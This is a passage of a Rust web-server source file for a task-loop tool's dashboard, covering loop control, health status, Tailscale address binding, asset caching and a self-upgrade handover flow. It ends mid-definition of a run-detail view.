1650 if started.elapsed() >= bound {
1651 updater::log_warn(
1652 home,
1653 &format!(
1654 "finish_talks: {} still running after {} s; handing over anyway",
1655 updater::talks_phrase(&seen),
1656 bound.as_secs()
1657 ),
1658 );
1659 return (seen, bound);
1660 }
1661 tokio::time::sleep(TALK_POLL).await;
1662 }
1663}
1664
1665const LEASE_BEAT: Duration = Duration::from_secs(20);
1668
1669async fn finish_loop(
1676 home: &FsPath,
1677 state: &Mutex<LoopState>,
1678 mut lease: Option<&mut updater::LeaseGuard>,
1679) {
1680 let live = lock_or_recover(state).live.take();
1681 let Some(live) = live else {
1682 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1683 return;
1684 };
1685 live.stop.stop();
1686 lock_or_recover(state).rev += 1;
1687 updater::log_step(
1688 home,
1689 "finish_loop: waiting for the loop to finish the run in flight",
1690 );
1691 let waited = std::time::Instant::now();
1692 let mut handle = live.handle;
1695 let mut beat = tokio::time::interval(LEASE_BEAT);
1696 loop {
1697 tokio::select! {
1698 _ = &mut handle => break,
1699 _ = beat.tick() => {
1700 if let Some(lease) = lease.as_deref_mut() {
1701 lease.beat();
1702 }
1703 }
1704 }
1705 }
1706 updater::log_step(
1707 home,
1708 &format!(
1709 "finish_loop: the loop ended after {:.1}s",
1710 waited.elapsed().as_secs_f32()
1711 ),
1712 );
1713}
1714
1715pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1721 match bind {
1722 Bind::Addr(addr) => (*addr, None),
1723 Bind::Auto => match tailscale_ip() {
1724 Ok(ip) => (IpAddr::V4(ip), None),
1725 Err(why) => (
1726 IpAddr::V4(Ipv4Addr::LOCALHOST),
1727 Some(format!(
1728 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1729 local-only and a phone cannot reach it; start Tailscale \
1730 or pass --bind <addr>"
1731 )),
1732 ),
1733 },
1734 }
1735}
1736
1737fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1745 let out = std::process::Command::new("tailscale")
1746 .args(["ip", "-4"])
1747 .quiet()
1748 .output()
1749 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1750 if !out.status.success() {
1751 let why = String::from_utf8_lossy(&out.stderr);
1752 let why = why.trim();
1753 return Err(format!(
1754 "`tailscale ip -4` failed ({}){}",
1755 out.status,
1756 if why.is_empty() {
1757 String::new()
1758 } else {
1759 format!(": {why}")
1760 }
1761 ));
1762 }
1763 String::from_utf8_lossy(&out.stdout)
1764 .lines()
1765 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1766 .find(is_tailnet)
1767 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1768}
1769
1770fn is_tailnet(ip: &Ipv4Addr) -> bool {
1772 let o = ip.octets();
1773 o[0] == 100 && (64..=127).contains(&o[1])
1774}
1775
1776type ApiResult<T> = std::result::Result<T, ApiError>;
1780
1781#[derive(Debug)]
1783struct ApiError {
1784 status: StatusCode,
1785 message: String,
1786 text_reason: Option<crate::question_delivery::UnavailableReason>,
1787}
1788
1789impl ApiError {
1790 fn bad_request(message: impl Into<String>) -> Self {
1792 Self {
1793 text_reason: None,
1794 status: StatusCode::BAD_REQUEST,
1795 message: message.into(),
1796 }
1797 }
1798
1799 fn not_found(message: impl Into<String>) -> Self {
1801 Self {
1802 text_reason: None,
1803 status: StatusCode::NOT_FOUND,
1804 message: message.into(),
1805 }
1806 }
1807
1808 fn with_status(mut self, status: StatusCode) -> Self {
1811 self.status = status;
1812 self
1813 }
1814
1815 fn bad_request_from(e: anyhow::Error) -> Self {
1819 Self::bad_request(format!("{e:#}"))
1820 }
1821
1822 fn conflict(message: impl Into<String>) -> Self {
1823 Self {
1824 text_reason: None,
1825 status: StatusCode::CONFLICT,
1826 message: message.into(),
1827 }
1828 }
1829
1830 fn internal(message: impl Into<String>) -> Self {
1832 Self {
1833 text_reason: None,
1834 status: StatusCode::INTERNAL_SERVER_ERROR,
1835 message: message.into(),
1836 }
1837 }
1838}
1839
1840impl From<anyhow::Error> for ApiError {
1841 fn from(e: anyhow::Error) -> Self {
1846 Self::internal(format!("{e:#}"))
1847 }
1848}
1849
1850impl IntoResponse for ApiError {
1851 fn into_response(self) -> Response {
1852 let mut body = serde_json::json!({ "error": self.message });
1853 if let Some(reason) = self.text_reason {
1854 body["code"] = serde_json::json!("question_text_unavailable");
1855 body["reason"] = serde_json::json!(reason);
1856 }
1857 (self.status, Json(body)).into_response()
1858 }
1859}
1860
1861async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1870where
1871 T: Send + 'static,
1872{
1873 #[cfg(test)]
1874 let job = request_cost::carry(job);
1875 match tokio::task::spawn_blocking(job).await {
1876 Ok(result) => result,
1877 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1878 }
1879}
1880
1881const ASSET_CACHE: &str = "no-cache, must-revalidate";
1899
1900fn asset_etag() -> &'static str {
1907 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1908 format!(
1909 "\"{}-{}\"",
1910 env!("CARGO_PKG_VERSION"),
1911 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1916 )
1917 });
1918 &TAG
1919}
1920
1921fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1923 [
1924 (header::CONTENT_TYPE, mime),
1925 (header::CACHE_CONTROL, ASSET_CACHE),
1926 (header::ETAG, asset_etag()),
1927 ]
1928}
1929
1930fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1938 let tag = asset_etag();
1939 let known = headers
1940 .get(header::IF_NONE_MATCH)
1941 .and_then(|v| v.to_str().ok())
1942 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1946 if known {
1947 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1948 }
1949 (asset_headers(mime), body).into_response()
1950}
1951
1952async fn index(headers: header::HeaderMap) -> Response {
1953 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1954}
1955
1956async fn app_css(headers: header::HeaderMap) -> Response {
1957 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1958}
1959
1960async fn app_js(headers: header::HeaderMap) -> Response {
1961 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1962}
1963
1964#[derive(Debug, Serialize)]
1966struct HealthView {
1967 version: &'static str,
1968 home: String,
1969 queue_rev: u64,
1970 runs_rev: u64,
1971 questions_rev: u64,
1983 talks_rev: u64,
1985 notifications_rev: u64,
1987 notifications_unread: usize,
1990 loop_rev: u64,
1995 runs_unreadable: usize,
2003 disk: DiskView,
2011 questions_open: usize,
2017 questions_needs_owner: usize,
2027 daemon: DaemonView,
2028 #[serde(rename = "loop")]
2034 looping: LoopView,
2035 update: UpdateView,
2042 upgrade: Option<UpgradeProgressView>,
2046 upgrade_request_error: Option<UpgradeRequestFailure>,
2047}
2048
2049#[derive(Debug, Serialize)]
2056struct UpdateView {
2057 available: bool,
2059 to: Option<String>,
2061}
2062
2063#[derive(Debug, Serialize)]
2065struct UpgradeProgressView {
2066 stage: updater::Stage,
2067 from: String,
2068 to: Option<String>,
2069 waiting_on: Option<String>,
2072 started_at: Timestamp,
2073 updated_at: Timestamp,
2074 detail: Option<String>,
2075 stuck_for_secs: Option<i64>,
2078 stuck_kind: Option<updater::StallKind>,
2081 handover_alive: bool,
2084}
2085
2086fn should_spawn_recheck(cfg: &Update) -> bool {
2093 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2094}
2095
2096fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2108 if progress.is_some_and(|p| !p.stage.terminal()) {
2109 return false;
2110 }
2111 checker.should_check()
2112}
2113
2114fn recheck_poll_period(cfg: &Update) -> Duration {
2127 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2128}
2129
2130async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2154 loop {
2155 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2156 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2157 if !should_spawn_recheck(&cfg.update) {
2158 continue;
2159 }
2160 let Some(checker) = updater::Checker::new(&cfg.update) else {
2161 continue;
2162 };
2163 let progress = updater::read_progress(&home);
2164 if !update_recheck_due(&checker, progress.as_ref()) {
2165 continue;
2166 }
2167 if let Err(e) = checker.newer_release().await {
2168 tracing::warn!("background update recheck failed: {e:#}");
2169 }
2170 }
2171}
2172
2173fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2179 let default;
2180 let cfg = match cfg {
2181 Some(cfg) => cfg,
2182 None => {
2183 default = Config::default();
2184 &default
2185 }
2186 };
2187 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2188 match latest {
2189 Some(latest) => UpdateView {
2190 available: true,
2191 to: Some(latest.tag_name),
2192 },
2193 None => UpdateView {
2194 available: false,
2195 to: None,
2196 },
2197 }
2198}
2199
2200fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2206 let now = Timestamp::now();
2207 let lease = updater::read_lease(&ui.home);
2208 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2209 let run_id = alive
2210 .and_then(|l| l.parked_run.as_deref())
2211 .or(progress.parked_run.as_deref());
2212 let parking = progress.stage == updater::Stage::Parking;
2213 let waited = alive.map_or_else(String::new, |l| {
2214 let secs = updater::waited_secs(l, now);
2215 format!(" (waited {} min so far)", secs / 60)
2216 });
2217 let run_text = run_id
2218 .filter(|_| parking)
2219 .map(|id| match read_run(&ui.runs, id).ok() {
2220 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2221 None => format!("run {id} is finishing"),
2222 });
2223 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2224 .filter(|t| parking && !t.is_empty())
2225 .map(|t| format!("{t} finishing"));
2226 let waiting_on = match (run_text, talks_text) {
2227 (None, None) => None,
2228 (run, talks) => {
2229 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2230 Some(format!(
2231 "{} before the address is handed over{waited}",
2232 parts.join(" and ")
2233 ))
2234 }
2235 };
2236 let detail = progress
2237 .detail
2238 .clone()
2239 .or_else(|| updater::read_note(&ui.home, &progress));
2240 let stalled = updater::stall(&progress, lease.as_ref(), now);
2241 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2242 UpgradeProgressView {
2243 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2244 stuck_kind: stalled.map(|s| s.kind),
2245 handover_alive: alive.is_some(),
2246 stage: progress.stage,
2247 from: progress.from,
2248 to: progress.to,
2249 waiting_on,
2250 started_at: progress.started_at,
2251 updated_at: progress.updated_at,
2252 detail,
2253 }
2254}
2255
2256#[derive(Debug, Serialize)]
2261struct DiskView {
2262 #[serde(skip_serializing_if = "Option::is_none")]
2264 free_bytes: Option<u64>,
2265 runs_bytes: u64,
2267 worktrees_bytes: u64,
2269 #[serde(skip_serializing_if = "Option::is_none")]
2271 cache_bytes: Option<u64>,
2272}
2273
2274impl DiskView {
2275 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2277 let cache_bytes = cfg
2278 .and_then(|cfg| cfg.cache_dir())
2279 .map(|dir| crate::disk::dir_size(&dir));
2280 Self {
2281 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2282 runs_bytes: crate::disk::dir_size(&ui.runs),
2283 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2284 cache_bytes,
2285 }
2286 }
2287}
2288
2289#[derive(Debug, Serialize)]
2291struct DaemonView {
2292 running: bool,
2293 idle: Option<bool>,
2294 pid: Option<u32>,
2295 current: Vec<daemon::Current>,
2299 completed: Option<u64>,
2300 stale_for_secs: Option<i64>,
2301}
2302
2303impl DaemonView {
2304 fn of(status: Option<daemon::Reading>) -> Self {
2308 let Some(status) = status else {
2309 return Self {
2310 running: false,
2311 idle: None,
2312 pid: None,
2313 current: Vec::new(),
2314 completed: None,
2315 stale_for_secs: None,
2316 };
2317 };
2318 let now = Timestamp::now();
2319 let age = status.age_secs(now);
2320 Self {
2321 running: status.running(now),
2322 idle: Some(status.idle),
2323 pid: status.pid,
2324 current: status.current,
2325 completed: Some(status.completed),
2326 stale_for_secs: age,
2327 }
2328 }
2329}
2330
2331async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2332 blocking(move || {
2333 let reading = daemon::read_status(&ui.home);
2337 let loop_rev = ui.lock_loop().rev;
2341 let cfg = deputy_config(&ui.repo);
2344 let update = cached_update_view(cfg.as_ref());
2345 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2346 Ok(Json(HealthView {
2347 version: env!("CARGO_PKG_VERSION"),
2348 home: ui.home.display().to_string(),
2349 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2350 runs_rev: runs_revision(&ui.runs),
2351 questions_rev: ui.questions.revision(),
2352 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2353 notifications_rev: ui.notices.revision(),
2354 notifications_unread: ui.notices.count_unread(),
2355 loop_rev,
2356 runs_unreadable: runs_unreadable(&ui.runs),
2357 questions_open: ui.questions.count_open(),
2358 questions_needs_owner: ui.questions.count_needs_owner(),
2359 daemon: DaemonView::of(reading.clone()),
2360 looping: ui.loop_view(reading),
2361 disk: DiskView::of(&ui, cfg.as_ref()),
2362 update,
2363 upgrade,
2364 upgrade_request_error: ui
2365 .upgrade_request_error
2366 .lock()
2367 .unwrap_or_else(PoisonError::into_inner)
2368 .clone(),
2369 }))
2370 })
2371 .await
2372}
2373
2374#[derive(Debug, Serialize)]
2376struct LoopView {
2377 running: bool,
2379 stopping: bool,
2387 parking: bool,
2395 owned: bool,
2403 repo: String,
2406 merge: Option<String>,
2409 last_error: Option<String>,
2417 daemon: DaemonView,
2420}
2421
2422#[derive(Debug, Clone, Copy)]
2431struct Foreign {
2432 pid: Option<u32>,
2434}
2435
2436impl Foreign {
2437 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2440 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2444 }
2445
2446 fn who(&self) -> String {
2449 match self.pid {
2450 Some(pid) => format!("another magi process (pid {pid})"),
2451 None => "another magi process".to_owned(),
2452 }
2453 }
2454}
2455
2456type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2461
2462fn launch_daemon(
2464 opts: daemon::Opts,
2465 stop: daemon::Stop,
2466) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2467 Box::pin(daemon::serve_until(opts, stop))
2468}
2469
2470#[derive(Debug, Default)]
2472struct LoopState {
2473 live: Option<Live>,
2475 rev: u64,
2483 last_error: Option<String>,
2486 resume_after_handover: bool,
2491}
2492
2493#[derive(Debug)]
2495struct Live {
2496 stop: daemon::Stop,
2498 handle: tokio::task::JoinHandle<()>,
2503 opts: daemon::Opts,
2507}
2508
2509impl Live {
2510 fn alive(&self) -> bool {
2512 !self.handle.is_finished()
2513 }
2514}
2515
2516fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2523 state.lock().unwrap_or_else(PoisonError::into_inner)
2524}
2525
2526async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2528 blocking(move || {
2529 let reading = daemon::read_status(&ui.home);
2530 Ok(Json(ui.loop_view(reading)))
2531 })
2532 .await
2533}
2534
2535#[derive(Debug, Deserialize)]
2541#[serde(deny_unknown_fields)]
2542struct LoopCommand {
2543 running: bool,
2544 #[serde(default)]
2554 park: bool,
2555}
2556
2557async fn loop_post(
2565 State(ui): State<Arc<Ui>>,
2566 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2567) -> ApiResult<Json<LoopView>> {
2568 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2571 blocking(move || {
2572 let reading = daemon::read_status(&ui.home);
2573 let foreign = Foreign::of(reading.as_ref());
2574 if body.running {
2575 ui.start_loop(foreign)?;
2576 } else {
2577 ui.stop_loop(foreign, body.park)?;
2578 }
2579 Ok(Json(ui.loop_view(reading)))
2580 })
2581 .await
2582}
2583
2584#[derive(Debug, Serialize)]
2586struct UpgradeView {
2587 from: String,
2589 to: Option<String>,
2591 parked: Option<String>,
2593 detail: String,
2595}
2596
2597fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2600 progress.filter(|p| !p.stage.terminal())
2601}
2602
2603fn upgrade_retry_after(message: &str) -> Option<u64> {
2606 if !message.contains("GitHub") || !message.contains("rate limit") {
2607 return None;
2608 }
2609 if message.contains("retry now") {
2610 return Some(0);
2611 }
2612 let duration = message
2613 .split_once("resets in ")
2614 .or_else(|| message.split_once("retry after "))?
2615 .1
2616 .split_once(')')?
2617 .0;
2618 let mut rest = duration.trim();
2619 if rest.is_empty() {
2620 return None;
2621 }
2622 let mut total = 0u64;
2623 while !rest.is_empty() {
2624 let n = rest.find(|c: char| !c.is_ascii_digit())?;
2625 let amount: u64 = rest[..n].parse().ok()?;
2626 let scale = match rest[n..].chars().next()? {
2627 's' => 1,
2628 'm' => 60,
2629 'h' => 3600,
2630 'd' => 86400,
2631 _ => return None,
2632 };
2633 total = total.checked_add(amount.checked_mul(scale)?)?;
2634 rest = rest[n + 1..].trim_start();
2635 }
2636 Some(total)
2637}
2638
2639#[derive(Debug, Clone, Serialize)]
2640struct UpgradeRequestFailure {
2641 occurred_at: String,
2642 error: String,
2643 retry_after_secs: Option<u64>,
2644 retry_at: Option<u64>,
2646}
2647
2648impl UpgradeRequestFailure {
2649 fn new(error: String) -> Self {
2650 let retry_after_secs = upgrade_retry_after(&error);
2651 let now = std::time::SystemTime::now()
2652 .duration_since(std::time::UNIX_EPOCH)
2653 .unwrap_or_default()
2654 .as_secs();
2655 Self {
2656 occurred_at: jiff::Timestamp::now().to_string(),
2657 error,
2658 retry_after_secs,
2659 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2660 }
2661 }
2662}
2663
2664async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2688 let reading = daemon::read_status(&ui.home);
2689 if let Some(other) = Foreign::of(reading.as_ref()) {
2690 return ApiError::conflict(format!(
2691 "the loop belongs to {}, so replacing this binary would leave \
2692 that process running an old one against the same queue. Upgrade \
2693 where it was started.",
2694 other.who()
2695 ))
2696 .into_response();
2697 }
2698
2699 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2704 return ApiError::conflict("another request is already preparing an upgrade")
2705 .into_response();
2706 };
2707 finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2710}
2711
2712fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2713 match result {
2714 Ok(out) => {
2715 *ui.upgrade_request_error
2716 .lock()
2717 .unwrap_or_else(PoisonError::into_inner) = None;
2718 out.into_response()
2719 }
2720 Err(error) if error.status != StatusCode::CONFLICT => {
2721 let failure = UpgradeRequestFailure::new(error.message);
2722 *ui.upgrade_request_error
2723 .lock()
2724 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2725 let mut response = (error.status, Json(&failure)).into_response();
2726 if let Some(value) = failure
2727 .retry_after_secs
2728 .and_then(|secs| secs.to_string().parse().ok())
2729 {
2730 response.headers_mut().insert("retry-after", value);
2731 }
2732 response
2733 }
2734 Err(error) => error.into_response(),
2735 }
2736}
2737
2738async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2739 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2740 return Err(ApiError::conflict(
2741 "an upgrade is already in progress (this process started one and it \
2742 has not finished or failed yet)",
2743 ));
2744 }
2745 let recorded = updater::read_progress(&ui.home);
2746 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2747 return Err(ApiError::conflict(format!(
2748 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2749 stays stuck, restart the deck; on start it settles a stale record.",
2750 p.stage.as_str(),
2751 p.from,
2752 p.to.as_deref().unwrap_or("?"),
2753 )));
2754 }
2755
2756 if crate::updater::disabled_by_env() {
2762 return Ok((
2763 StatusCode::OK,
2764 Json(UpgradeView {
2765 from: env!("CARGO_PKG_VERSION").to_owned(),
2766 to: None,
2767 parked: None,
2768 detail: format!(
2769 "Automatic updates are disabled by {}. Nothing was parked \
2770 and nothing restarted.",
2771 crate::updater::NO_AUTOUPDATE_ENV
2772 ),
2773 }),
2774 ));
2775 }
2776
2777 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2782 let from = env!("CARGO_PKG_VERSION").to_owned();
2783 let latest = match crate::updater::Checker::new(&cfg.update) {
2784 Some(checker) => checker.newer_release().await,
2785 None => Ok(None),
2786 };
2787 upgrade_checked(ui, from, latest)
2788}
2789
2790fn upgrade_checked(
2791 ui: &Arc<Ui>,
2792 from: String,
2793 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
2794) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2795 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
2796 let Some(latest) = latest else {
2797 return Ok((
2798 StatusCode::OK,
2799 Json(UpgradeView {
2800 from,
2801 to: None,
2802 parked: None,
2803 detail: "Already on the newest release. Nothing was parked \
2804 and nothing restarted."
2805 .to_owned(),
2806 }),
2807 ));
2808 };
2809
2810 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2813 let detail = match &parked {
2814 Some(run) => format!(
2819 "Run {} is parking at its next step, which can take as long as \
2820 the step it is on - up to an hour for an implement wave. The \
2821 deck replaces itself once it parks, comes back, and the loop \
2822 carries that run on from where it stopped. Nothing is lost if \
2823 you close this.",
2824 crate::run::short_of(run)
2825 ),
2826 None => "The deck replaces itself and comes back. Nothing was in \
2827 flight to park."
2828 .to_owned(),
2829 };
2830
2831 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2835 progress.parked_run = parked.clone();
2836 updater::write_progress_logged(&ui.home, &progress);
2840
2841 let home = ui.home.clone();
2842 let looping = ui.looping();
2843 ui.upgrade_spawned
2844 .store(true, std::sync::atomic::Ordering::SeqCst);
2845 let spawned = Arc::clone(&ui.upgrade_spawned);
2846 tokio::spawn(async move {
2847 if let Err(e) = upgrade_and_restart(home.clone()).await {
2848 tracing::error!("the upgrade did not complete: {e:#}");
2849 lock_or_recover(&looping).resume_after_handover = false;
2850 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2854 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2857 }
2858 });
2859
2860 Ok((
2861 StatusCode::ACCEPTED,
2862 Json(UpgradeView {
2863 from,
2864 to: Some(latest.tag_name),
2865 parked,
2866 detail,
2867 }),
2868 ))
2869}
2870
2871async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2876 crate::updater::run_self_update(true, false, true).await?;
2879 updater::log_step(&home, "binary replaced - recording the replaced stage");
2880 if let Some(mut progress) = updater::read_progress(&home) {
2881 progress.advance(updater::Stage::Replaced);
2882 updater::write_progress_logged(&home, &progress);
2883 }
2884 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2885 HANDOVER.notify_one();
2886 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2887 Ok(())
2888}
2889
2890#[derive(Debug, Serialize)]
2896struct RunSummary {
2897 id: String,
2898 short: String,
2899 status: String,
2900 done: bool,
2901 instruction: String,
2902 title: String,
2903 repo: String,
2904 repo_name: String,
2905 created_at: String,
2906 updated_at: String,
2907 candidates: usize,
2908 viable: usize,
2909 judges: usize,
2910 winner: Option<char>,
2911 reviews: usize,
2912 quota_losses: usize,
2913 event: Option<String>,
2914 superseded_by: Option<String>,
2919 waiting: bool,
2926 live: crate::run::Liveness,
2930 pr: Option<crate::run::PrRecord>,
2932 unmerged_by_design: bool,
2938 #[serde(default)]
2941 display_status: String,
2942 #[serde(default)]
2945 badge_status: String,
2946 origin_label: String,
2949}
2950
2951impl RunSummary {
2952 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2953 Self {
2954 id: state.id.clone(),
2955 short: state.short().to_owned(),
2956 status: status_word(state.status),
2957 done: state.status.done(),
2958 unmerged_by_design: state.unmerged_by_design(),
2959 display_status: run_display_status(state, waiting, live),
2960 badge_status: run_display_status(state, waiting, live),
2961 instruction: state.instruction.clone(),
2962 title: title_from(&state.instruction, TITLE_MAX),
2963 repo: state.repo.display().to_string(),
2964 repo_name: state
2965 .repo
2966 .file_name()
2967 .map(|n| n.to_string_lossy().into_owned())
2968 .unwrap_or_default(),
2969 created_at: state.created_at.to_string(),
2970 updated_at: state.updated_at.to_string(),
2971 candidates: state.candidates.len(),
2972 viable: state.viable().len(),
2973 judges: state.config.graph.judges,
2974 winner: state.winner().map(|c| c.label),
2975 reviews: state.reviews.len(),
2976 quota_losses: state.quota.len(),
2977 event: state.events.last().map(|e| e.message.clone()),
2978 waiting,
2979 live,
2980 superseded_by: None,
2983 pr: state.pr.clone(),
2984 origin_label: crate::run::origin_label(state.origin.as_ref()),
2985 }
2986 }
2987}
2988
2989fn status_word(status: RunStatus) -> String {
2992 status.as_str().to_owned()
2996}
2997
2998fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3004 if waiting {
3005 return "waiting".to_owned();
3006 }
3007 if state.unmerged_by_design() {
3008 return "unmerged".to_owned();
3009 }
3010 if !state.status.done() && live == crate::run::Liveness::Dead {
3011 if state.parked {
3014 return "parked".to_owned();
3015 }
3016 return "stale".to_owned();
3017 }
3018 status_word(state.status)
3019}
3020
3021fn run_badge_status(
3029 state: &RunState,
3030 display_status: &str,
3031 live: crate::run::Liveness,
3032 superseded: bool,
3033) -> String {
3034 if state.status.done() || live == crate::run::Liveness::Live {
3035 return display_status.to_owned();
3036 }
3037 if superseded {
3038 return "superseded".to_owned();
3039 }
3040 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3044 return "stale".to_owned();
3045 }
3046 display_status.to_owned()
3047}
3048
3049#[derive(Debug, Deserialize)]
3051struct ListQuery {
3052 #[serde(default)]
3053 limit: Option<usize>,
3054 ids: Option<String>,
3056}
3057
3058impl ListQuery {
3059 fn contains(&self, id: &str) -> bool {
3060 self.ids
3061 .as_ref()
3062 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3063 }
3064}
3065
3066async fn runs_list(
3067 State(ui): State<Arc<Ui>>,
3068 Query(q): Query<ListQuery>,
3069) -> ApiResult<Json<Vec<RunSummary>>> {
3070 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3071 blocking(move || {
3072 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3073 let states = run_ids(&ui.runs)
3074 .into_iter()
3075 .filter_map(|id| read_run(&ui.runs, &id).ok())
3080 .take(limit)
3081 .filter(|run| q.contains(&run.id));
3082 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3083 let summaries = summarize(
3084 states,
3085 &open_runs,
3086 &claimed,
3087 &superseded,
3088 |p| probe.borrow_mut().status(p),
3089 |p| probe.borrow_mut().started_at(p),
3090 );
3091 Ok(Json(summaries))
3092 })
3093 .await
3094}
3095
3096fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3101 let open_runs: HashSet<String> = ui
3102 .questions
3103 .list()
3104 .into_iter()
3105 .filter(|q| q.status.open())
3106 .map(|q| q.run)
3107 .collect();
3108 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3109 .into_iter()
3110 .map(|c| c.run)
3111 .collect();
3112 (open_runs, claimed, ui.queue.superseded())
3113}
3114
3115fn summarize<I, S, D>(
3121 states: I,
3122 open_runs: &HashSet<String>,
3123 claimed: &HashSet<String>,
3124 superseded: &HashMap<String, String>,
3125 mut status_q: S,
3126 mut identity_q: D,
3127) -> Vec<RunSummary>
3128where
3129 I: IntoIterator<Item = RunState>,
3130 S: FnMut(u32) -> Option<bool>,
3131 D: FnMut(u32) -> Option<String>,
3132{
3133 states
3134 .into_iter()
3135 .map(|state| {
3136 let waiting = open_runs.contains(&state.id);
3137 let live =
3138 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3139 let mut row = RunSummary::of(&state, waiting, live);
3140 row.superseded_by = state
3141 .pr_taken_over_by
3142 .as_ref()
3143 .or_else(|| superseded.get(&state.id))
3144 .map(String::as_str)
3145 .map(crate::run::short_of)
3146 .map(str::to_owned);
3147 row.badge_status = run_badge_status(
3148 &state,
3149 &row.display_status,
3150 live,
3151 row.superseded_by.is_some(),
3152 );
3153 row
3154 })
3155 .collect()
3156}
3157
3158#[derive(Debug, Serialize)]
3165struct RunDetailView {
3166 stop_reason: Option<String>,
3167 #[serde(flatten)]
3168 state: RunState,
3169 instruction_md: Vec<md::Node>,
3170 #[serde(flatten)]
3174 prose_md: RunProseMd,
3175 live: crate::run::Liveness,
3190 unmerged_by_design: bool,
3195 #[serde(default)]
3197 waiting: bool,
3198 #[serde(default)]
3200 display_status: String,
3201 #[serde(default)]
3203 badge_status: String,
3204 done: bool,
3209 superseded_by: Option<String>,
3217 latest_attempt: Option<LatestAttempt>,
3231 task: Option<TaskRef>,
3234 origin_label: String,
3238 pass_views: Vec<PassView>,
3241}
3242
3243#[derive(Debug, Serialize)]
3245struct TaskRef {
3246 id: String,
3247 short: String,
3248 title: String,
3249 source_label: String,
